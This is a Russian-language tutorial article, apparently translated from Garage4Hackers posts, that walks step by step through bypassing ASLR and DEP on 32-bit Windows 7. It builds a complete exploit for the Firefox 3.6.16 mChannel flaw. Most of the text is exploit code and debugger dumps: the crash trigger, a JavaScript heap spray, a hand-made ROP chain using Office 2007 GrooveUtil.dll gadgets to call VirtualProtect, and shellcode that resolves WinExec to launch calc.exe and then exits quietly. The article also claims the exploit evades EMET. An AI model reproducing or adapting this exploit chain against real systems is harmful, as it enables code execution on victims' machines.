12.01.2012

Обход ASLR/DEP

image

Предотвращение выполнения данных (Data Execution Prevention – DEP) – механизм защиты, включенный в современные операционные системы. Он есть в Linux, Mac Os X и Microsoft Windows.

Автор: Виней Каточ
Специалист по обнаружению уязвимостей, Secfence Technologies

Введение

Предотвращение выполнения данных (Data Execution Prevention – DEP) – механизм защиты, включенный в современные операционные системы. Он есть в Linux, Mac Os X и Microsoft Windows. Целью работы данного механизма является предотвращение выполнения кода из не исполняемых областей памяти. ASLR (Address space layout randomization) – механизм защиты, заключающийся в случайном изменении размещения ключевых структур, как, например, образа исполняемого файла, библиотек, кучи, стека, в адресном пространстве процесса. Данная работа посвящена обходу вышеописанных защитных механизмов. Также в данной работе будут рассмотрены примеры shell-кода и обход EMET (Enhanced Mitigation Experience Toolkit).

Прежде, чем продолжить

Для того, чтобы обойти DEP, нужно знать, как обойти ASLR. Существует два основных способа:
  1. Любой анти-ASLR модуль загружается в целевое приложение. Я имею ввиду, что вы должны знать фиксированный базовый адрес каждого модуля, который не меняется даже после перезагрузки системы.
  2. У вас есть указатель на область памяти при утечке памяти/переполнении буфера/любой уязвимости нулевого дня. При использовании данного метода вы сможете добавить определенное смещение, чтобы получить базовый адрес модуля, указатель на который у вас есть.

Таким образом, на данном этапе вы обошли ASLR. Пришло время разобраться с DEP. Предотвращение выполнения данных уменьшает эффективность атак, запрещая выполнение кода из неисполняемых областей памяти. Ранее (до Windows XP SP2) стек и куча были исполняемыми областями, сейчас же – нет. Но есть пути обхода этого препятствия. При условии, что у вас есть указатель, вы можете выполнить свой shell-код их ROP (ROP – некоторая модификация LibC атак). Основная идея заключается в размещении необходимых инструкций рядом с return, но при этом необходимо контролировать стек. На вершине стека должен быть помещен адрес инструкций, которые необходимо выполнить, в уже загруженных исполняемых файлах. Следует помнить, что большинство ROP создаются автоматическими скриптами, вследствие чего они не подходят для определенных атак, тем не менее, вы можете исследовать их и предложить свои варианты использования. С помощью ROP вы можете полностью создать свой shell-код или просто обойти DEP, а затем выполнить shell-код. Но нельзя забывать, что в операционной системе используется очень хороший алгоритм рандомизации базы, стека, кучи и указателей модулей, но не косвенных указателей. Вы можете легко найти интересующий вас адрес экспорта в любой dll.

function alfa(){
var a1=document.cookie;
}
var a=window.setTimeout(alfa,100);
alert(a.toString(16));

Приведенный выше пример немного устарел. Он предоставляет нам адрес инструкции a.toString(16)-1 в mshtml.dll. Используя адрес 0x7ffe360, вы сможете найти базовый адрес ntdll.dll в 64-разрядной windows 7. В 32-разрядных версиях 0x7ffe300 – адрес sysenter, а 0x7ffe304 – адрес инструкции return. Все эти примеры являются косвенными указателями. Но для динамического формирования shell кода нам необходимо знать прямой указатель.

Приступим-с!

Помните, в методах обхода ASLR и DEP нет места для NOP. Все дело в точности. Загрузчик должен быть разработан так, чтобы он помещал ваш код (ROP и shell -код) в строго определенные места. Пропажа даже одного бита поместит нужные данные не туда, куда надо. Точность при выполнении данной операции может быть достигнута с помощью определенных техник манипуляции с кучей. С помощью выделения заранее посчитанной области в куче мы можем с большой вероятностью размещать наши инструкции по нужному адресу.

Позвольте продемонстрировать это на примере. Выбранная уязвимость (mchannel) имеет место в Firefox 3.6.16, и к ней уже есть эксплойты. Но мы разработаем ROP и shell-код самостоятельно без автоматизации данного процесса, так как при автоматической генерации скриптов могут быть упущены некоторые детали, что приведет к ненужному усложнению эксплойта.

<html>
<head>
</head>
<body>
<object id="d" ></object>
<script>
function ignite() {
var e=document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);
e.data="";
}
</script>
<input type=button value="Ignite" onclick="ignite()" />
</body>
</html>

При данной уязвимости мы можем использовать регистр ECX как источник значений для EAX. Контроль ECX можно осуществлять через выделения памяти для одного экземпляра объекта в куче.

var obj = unescape("\x00%u0c10"); // ECX – указатель на первый байт наших данных

Не забудьте переименовать CrashReport.exe из папки Program Files\Mozilla, а также использовать отладчик при эксплуатации уязвимости.

6BE14E69 8B08 MOV ECX,DWORD PTR DS:[EAX] ; вот сюда приведенный
; выше пример выделения
; памяти загрузит 0x0C100000 ECX
6BE14E6B BE 02004B80 MOV ESI,804B0002
6BE14E70 56 PUSH ESI
6BE14E71 50 PUSH EAX
6BE14E72 FF51 18 CALL DWORD PTR DS:[ECX+18]; Сюда будет передан call (на адрес 0x0C100018), нам необходимо нормировать ROP+shell-код

Перейдем к программе, ROP и shell_коду. Сначала заполним всю необходимую нам область нулями, а затем именно в этой области разработаем ROP и shell-код. Что ж, начнем. Для подсчета ASLR используем GrooveUtil.dll и GR469A~1.dll, поставляемые вместе с GrooveMonitor MS Office 2007. Данные библиотеки загружаются в браузеры по умолчанию (при таковой установке 2007 офисного пакета).

<html>
<head>
</head>
<body>
<object id="d" ></object>
<script>
function ignite() {
var e=document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);
var vftable = unescape("\x00% u0c10");
// ROP using GrooveUtil.dll :
var heap = unescape(
/* ROP : */ "% u0101% u0102"
+"% u0103% u0104"
+"% u0105% u0106"
+"% u0107% u0108"
+"% u0109% u010a"
+"% u010b% u010c"
+"% u010d% u010e"
+"% u010f% u0111"
+"% u0112% u0113"
+"% u0114% u0115"
+"% u0116% u0117"
+"% u0118% u0119"
+"% u011a% u011b"
+"% u011c% u011d"
+"% u011e% u011f"
)
/* Shellcode : */ +unescape("% u9090% u9090"+"% u9090% u9090"
+"% uCCCC% uCCCC% uCCCC% uCCCC"
+"% uBBBB% uCCCC% uDDDD% uEEEE" /* command: */ +"% u6163% u636c% u652e% u6578% u0000% ucccc" // calc.exe
);
var vtable = unescape("% u0c0c% u0c0c");
while(vtable.length < 0x10000) {vtable += vtable;}
var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2);
while (heapblock.length<0x80000) {heapblock += heap+heapblock;}
var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2 - 0x2/2);
var spray = new Array()
for (var iter=0;iter<0x100;iter++){
spray[iter] = finalspray+heap;
}
e.data="";
}
</script>
<input type=button value="Ignite" onclick="ignite()" />
</body>
</html>

В коде необходимо ставить пробел между «%» и «u», так как при поддержке Unicode блоки преобразуются в соответствующие символы. Не забудьте убрать эти пробелы из блоков внутри unescape-блоков. Мы будем разрабатывать эксплойт под 32-разрядную windows 7 (можете проверить смещения для windows XP, смещения в 32- и 64-разрядных windows 7 различаются). Скачайте и установите EMET с сайта Microsoft, в большинстве случаев он в некоторой мере нейтрализует действие shell-кода, но наш код после упаковывания будет обходить и его.

Результат выполнения предыдущего кода

EAX 0400B620
ECX 0C100000
EDX 0313D970
EBX 043D0E04
ESP 0018DFCC
EBP 0018E1D8
ESI 804B0002
EDI 80000000
EIP 010E010D

Значение на EIP было загружено с адреса 0x010E010D. Это значение получается из «%u010D%u010E». Поэтому указатель на первый ROP должен быть размещен именно там. Сейчас нужно разработать ROP, главной проблемой здесь будет подмена стека. При загрузке на регистре ESP будет находиться адрес нашего сегмента в куче, поэтому браузер будет считать это адресное пространство стеком, содержащим все адреса возврата и аргументы для функций.

Что нам сейчас нужно сделать, так это записать на ESP адрес сегмента используемой нами памяти, например, при помощи команды pop из настоящего стека. В данном случае EAX будет содержать косвенный указатель (указатель на адрес) на область в куче, а ECX – прямой адрес.

Нам необходимо найти программы, использующие ECX или EAX для подмены стека.

Есть определенные команды, которые могли бы быть нам полезны, например,

XCHG ECX,ESP
Ret

mov esp,ecx
ret

XCHG dword ptr[EAX],ESP
Ret

mov ESP,dword ptr[EAX]
ret

но не в данном случае. Посмотрим еще одну инструкцию

6623BE51 : XCHG EAX,ESP
Ret

Она находится в GR469A~1.DLL

Теперь наша задача – заменить косвенный указатель, находящийся на EAX, на прямой адрес до выполнения программы. В итоге должно быть что-то вроде

mov EAX,dword ptr[eax]
call eax
ret

Но мы нашли кое-что очень полезное в данном случае:

661C5B33 : MOV EAX,DWORD PTR DS:[ECX]
CALL DWORD PTR DS:[EAX+8]

Необходимо лишь передать на EAX адрес, указывающий на ECX. На ECX будет храниться адрес первого байта нашей области памяти, обратиться к следующему можно будет по смещению 8 относительно ECX. Вот что покажет отладчик

0C100000 01 01 02 01 03 01 04 01
0C100008 05 01 06 01 07 01 08 01
0C100010 09 01 0A 01 0B 01 0C 01 ...
0C100018 0D 01 0E 01 0F 01 11 01 .
0C100020 12 01 13 01 14 01 15 01
0C100028 16 01 17 01 18 01 19 01
0C100030 1A 01 1B 01 1C 01 1D 01
0C100038 1E 01 1F 01 90 90 90 90
0C100040 90 90 90 90 CC CC CC CC
0C100048 CC CC CC CC BB BB CC CC
0C100050 DD DD EE EE 63 61 6C 63 ݝcalc
0C100058 2E 65 78 65 00 00 CC CC .exe..
0C100060 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100068 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100070 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100078 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100080 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100088 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100090 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100098 0C 0C 0C 0C 0C 0C 0C .......

Нам необходимо поместить первый адрес программы на 0C100018:0D 01 0E 1E и заменить 0C100000: 01 01 02 01 на адрес

Рассмотрим следующий пример кода

var heap = unescape( /* ROP : */
"% u0004%u 0c10"
+"% u0103%u 0104"
+"%u 0105% u0106"
+"%u BE51%u 6623" // XCHG EAX,ESP;ret
+"%u 0109%u 010a"
+"% u010b%u 010c"
+"%u 5B33% u661C" // :GR469A~1.DLL
// 8B01 MOV EAX,DWORD PTR DS:[ECX]
// FF50 08 CALL DWORD PTR DS:[EAX+8]
+"% u010f% u0111"
+"%u 0112% u0113"
+"%u 0114%u 0115"
+"%u 0116%u 0117"
+"%u 0118% u0119"
+"% u011a%u 011b"
+"%u 011c%u 011d"
+"%u 011e%u 011f" )

В результате необходимое нам значение будет загружено на регистр ESP, как можно увидеть в следующем дампе:

EAX 0029DF08
ECX 0C100000
EDX 03D19160
EBX 048C0124
ESP 0C100008
EBP 0029E118
ESI 804B0002
EDI 80000000
EIP 01040103

В итоге теперь используемая нами область памяти стала стеком.

0C100000 0C100004
0C100004 01040103
0C100008 01060105
0C10000C 6623BE51 GR469A~1.6623BE51
0C100010 010A0109
0C100014 010C010B firefox.010C010B
0C100018 661C5B33 GR469A~1.661C5B33
0C10001C 0111010F firefox.0111010F
0C100020 01130112 firefox.01130112
0C100024 01150114 firefox.01150114
0C100028 01170116 firefox.01170116
0C10002C 01190118
0C100030 011B011A
0C100034 011D011C
0C100038 011F011E
0C10003C 90909090
0C100040 90909090
0C100044 CCCCCCCC
0C100048 CCCCCCCC
0C10004C CCCCBBBB
0C100050 EEEEDDDD
0C100054 636C6163
0C100058 6578652E
0C10005C CCCC0000
0C100060 0C0C0C0C
0C100064 0C0C0C0C
0C100068 0C0C0C0C
0C10006C 0C0C0C0C
0C100070 0C0C0C0C
0C100074 0C0C0C0C
0C100078 0C0C0C0C
0C10007C 0C0C0C0C
0C100080 0C0C0C0C
0C100084 0C0C0C0C
0C100088 0C0C0C0C
0C10008C 0C0C0C0C
0C100090 0C0C0C0C
0C100094 0C0C0C0C
0C100098 0C0C0C0C
0C10009C 0C0C0C0C
0C1000A0 0C0C0C0C
0C1000A4 0C0C0C0C

Подготовка.

Мы успешно завершили первый этап подменой стека. Следующим шагом необходимо получить указатель на функцию kernel32.VirtualProtect и передать ей параметры через наш стек, чтобы обойти DEP.

За адресом функции в памяти будут располагаться ее аргументы. VirtualProtect принимает 4 аргумента Первый аргумент – адрес первого байта shell-кода, второй – размер shell-кода (число может быть и больше действительного размера), третий – флаг (должен быть установлен в 0x00000040, чтобы атрибут памяти, содержащей shell-код, был PAGE_READ_WRITE_EXECUTE). Четвертый аргумент – указатель на любую область памяти, куда может осуществляться запись (для сохранения значений атрибутов), в нашем случае это будет 0x0c0c0c0c.

В GrooveUtil.dll вызов VirtualProtect содержится по адресу 0x68F2F1DD

68F2F1DD FF15 BC71F668 CALL DWORD PTR DS:[<&KERNEL32.VirtualPro>; kernel32.VirtualProtect
68F2F1E3 8BC6 MOV EAX,ESI
68F2F1E5 5E POP ESI
68F2F1E6 C9 LEAVE
68F2F1E7 C2 0400 RETN 4

Но до вызова функции мы должны немного поработать со стеком POP ESI
LEAVE
RETN 4

Проблемным местом здесь является инструкция LEAVE. Она нейтрализует подмену стека. До текущего момента EBP указывал на адрес, не соответствующий началу нашей области, поэтому адрес на EBP должен загружаться непосредственно перед началом выполнения shell-кода.

<html>
<head>
</head>
<body>
<object id="d" ></object>
<script>
function ignite() {
var e=document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);
var vftable = unescape("\x00%u0 c10");
// ROP using GrooveUtil.dll :
var heap = unescape("%u 0004%u 0c10"
+"%u BCBB%u 68F1" //POP EDI; POP EBX; POP ESI; RETN
+"%u 0105%u 0106" //
+"%u BE51%u 6623" // XCHG EAX,ESP;ret
+"%u 0030%u 0c10" //
+"%u 7C2A%u 68F0" // POP EDI; POP EBP; RETN
+"%u 5B33%u 661C" // :GR469A~1.DLL
// 8B01 MOV EAX,DWORD PTR DS:[ECX]
// FF50 08 CALL DWORD PTR DS:[EAX+8]
+"% u0030% u0c10" // будет загружен на ebp
+"%u F1DD% u68F2" // указатель на Virtual Protect
+"% u0030% u0c10" // адрес базы shell-кода
+"% u9000% u0000" // размер страницы, можете добавить его
+"%u 0040% u0000" // PAGE_EXECUTE_READ_WRITE
+"% u0c0c%u 0c0c" // область памяти для хранения значений регистров
+"%u 0038%u 0c10" // будет загружен на esi
)
/* Shellcode : */ +unescape("%u 9090%u 9090"+"% u9090% u9090"
+"%u CCCC% uCCCC% uCCCC% uCCCC"
+"%u BBBB%u CCCC%u DDDD%u EEEE"
/* command: */ +"% u6163% u636c% u652e% u6578% u0000% ucccc" // calc.exe
);
var vtable = unescape("%u 0c0c% u0c0c");
while(vtable.length < 0x10000) {vtable += vtable;}
var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2);
while (heapblock.length<0x80000) {heapblock += heap+heapblock;}
var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2 - 0x2/2);
var spray = new Array()
for (var iter=0;iter<0x100;iter++){
spray[iter] = finalspray+heap;
}
e.data="";
}
</script>
<input type=button value="Ignite" onclick="ignite()" />
</body>
</html>
В результате мы сможем обойти DEP, а EIP будет указывать на наш shell-код, но прерывание отладчика, вызванное через 0xcc, не срабатывает.
EAX 0C100030
ECX 0C0FFFDC
EDX 770264F4 ntdll.KiFastSystemCallRet
EBX 6623BE51 GR469A~1.6623BE51
ESP 0C10003C
EBP 0C0C0C0C
ESI 0C100038
EDI 661C5B33 GR469A~1.661C5B33
EIP 0C100041

Формируем shell-код.

Наступает следующий этап нашей работы – формирование shell-кода. В GR469A~1.dll 2 регистра содержат адреса.

EBX 6623BE51 GR469A~1.6623BE51
EDI 661C5B33 GR469A~1.661C5B33
Нам необходимо найти любой вызов функции экспорта Kernel32.dll, после чего на EAX мы загрузим указатель на эту функцию. Далее будем смещаться относительно этого адреса (смещение зависит от операционной системы, поэтому имеет смысл высчитать его для каждого случая отдельно). В итоге EAX должен указывать на функцию kernel32.WinExec. Данная функция принимает 2 аргумента в качестве параметров: первый определяет, видимо ли окно для выполняемой команды, второй – указатель на команду, которую необходимо выполнить. Следующая инструкция будет работать необходимым нам образом, если EDI будет содержать адрес на функцию экспорта Kernel32.dll (для этого нам необходимо добавить смещение).

81C7 6D980700 ADD EDI,7986D

Далее представим JavaScript Unicode версию для этой команды

"% uC781%u 986D%u 0007"

Не забудьте поменять местами байты. Если число байт нечетное, начало последней пары может быть nop 90. Далее загрузим косвенную ссылку на Kernel32 на EAX с [EDI]

8B07 MOV EAX,DWORD PTR DS:[EDI]

Теперь EAX будет содержать адрес Kernel32.WaitForSingleObject.

0004EFA0 WaitForSingleObject
RVA WinExec
0008E695 WinExec

Теперь нужно посчитать смещение
0008E695 - 0004EFA0 = 3F6F5

Таким образом, к значению EAX нужно добавить 3F6F5, тогда он будет указывать на WinExec

05 F5F60300 ADD EAX,3F6F5

В JavaScript это будет выглядеть следующим образом

"%u F505% u03F6 %u 9000"

Передадим 5 в качестве аргумента для WinExec

6A 05 PUSH 5

Получим

"%u 056A"

5 означает, что окно будет отображаться

Теперь нужно, чтобы ECX указывал на нашу область памяти

ECX = 0x0C0FFFDC

Добавим смещение 0x8E. Теперь ECX будет указывать на calc.exe

81C1 8E000000 ADD ECX,8E

В представлении JavaScript

"%u C181% u008E% u0000"

Кладем ECX на стек
51 PUSH ECX
JavaScript
"%u 9051"
Далее
FFD0 CALL EAX
"%u D0FF"

Готово! Наш труд поможет вам достичь цели. Но не спешите, мы должны завершить процесс без привлечения ненужного внимания, поэтому скопируйте содержимое EAX, например, на ESI.

Далее необходимо, чтобы ESI указывал на TerminateProcess. Нужно передать параметры этой функции – обработчик процесса (псевдо обработчик для текущего процесса 0xFFFFFFFF или -1). Кладем данное значение на стек с помощью push и вызываем ESI.
calc.exe
"%u 6163% u636c% u652e%u 6578%u 0000"

Эксплойт готов!

И, наконец, эксплойт готов! =) полный код приведен ниже (он позволяет также обходить EMET)
<html>
<head>
</head>
<body>
<object id="d" ></object>
<script>
function ignite() {
var e=document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);
var vftable = unescape("\x00% u0c10");
// ROP using GrooveUtil.dll :
var heap = unescape("% u0004% u0c10"
+"% uBCBB% u68F1" //POP EDI; POP EBX; POP ESI; RETN
+"%u 0105% u0106" //
+"%u BE51%u 6623" // XCHG EAX,ESP;ret
+"%u 0030% u0c10"
+"% u7C2A% u68F0" // POP EDI; POP EBP; RETN
+"% u5B33% u661C" // :GR469A~1.DLL
// 8B01 MOV EAX,DWORD PTR DS:[ECX]
// FF50 08 CALL DWORD PTR DS:[EAX+8]
+"% u0030% u0c10" // will be popped in ebp
+"% uF1DD% u68F2" // Pointer to Virtual Protect
+"% u0030% u0c10" // Base Address of Shellcode
+"% u9000% u0000" // Size of the Page, you can adjust it
+"% u0040% u0000" // PAGE_EXECUTE_READ_WRITE
+"% u0c0c% u0c0c" // Writable Location for preserving old attributes
+"% u0038% u0c10" // will be popped in esi
)
+unescape("% u9090% u9090"+"% u9090% u9090"
+"% uC781% u986D%u 0007" //81C7 6D980700 ADD EDI,7986D
+"% u078B" //8B07 MOV EAX,DWORD PTR DS:[EDI]
+"% uF505%u 03F6% u9000" //05 F5F60300 ADD EAX,3F6F5;90 NOP
+"% u9090"
+"% u056A" //6A 05 PUSH 5
+"% uC181% u008E% u0000" //81C1 8E000000 ADD ECX,8E
+"% u9051" //51 PUSH ECX; 90 NOP
+"% uF08B" //8BF0 MOV ESI,EAX
+"% uD0FF" //FFD0 CALL EAX
// +"% ucccc"
+"%u EE81% u95Fa% u0004"//81EE FA950400 SUB ESI,495FA
+"%u FF6A" //6A FF PUSH -1
+"%u D6FF" //FFD6 CALL ESI
+"%u CCCC"
/* command: */ +"% u6163% u636c% u652e% u6578% u0000% ucccc"
);
var vtable = unescape("% u0c0c%u 0c0c");
while(vtable.length < 0x10000) {vtable += vtable;}
var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2);
while (heapblock.length<0x80000) {heapblock += heap+heapblock;}
var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2 - 0x2/2);
var spray = new Array()
for (var iter=0;iter<0x100;iter++){
spray[iter] = finalspray+heap;
}
e.data="";
}
</script>
<input type=button value="Ignite" onclick="ignite()" />
</body>
</html>
 


О Secfence
Основной (и практически единственной) сферой деятельности Secfence Technologies является информационная безопасность. Компания расположена в Индии, предоставляет консалтинговые услуги по информационной безопасности, а также тренинги и определенную продукцию. Secfence Technologies специализируется как на защитной, так и на атакующей стороне безопасности. Для получения большей информации посетите сайт www.secfence.com

Ссылки

(Данная статья была собрана из серии постов посетителей сайта Garage4Hackers, ее могут использовать как профессионалы, так и любители)

http://www.garage4hackers.com/f22/aslr-dep-bypassing-techniques-1093.html

или введите имя

CAPTCHA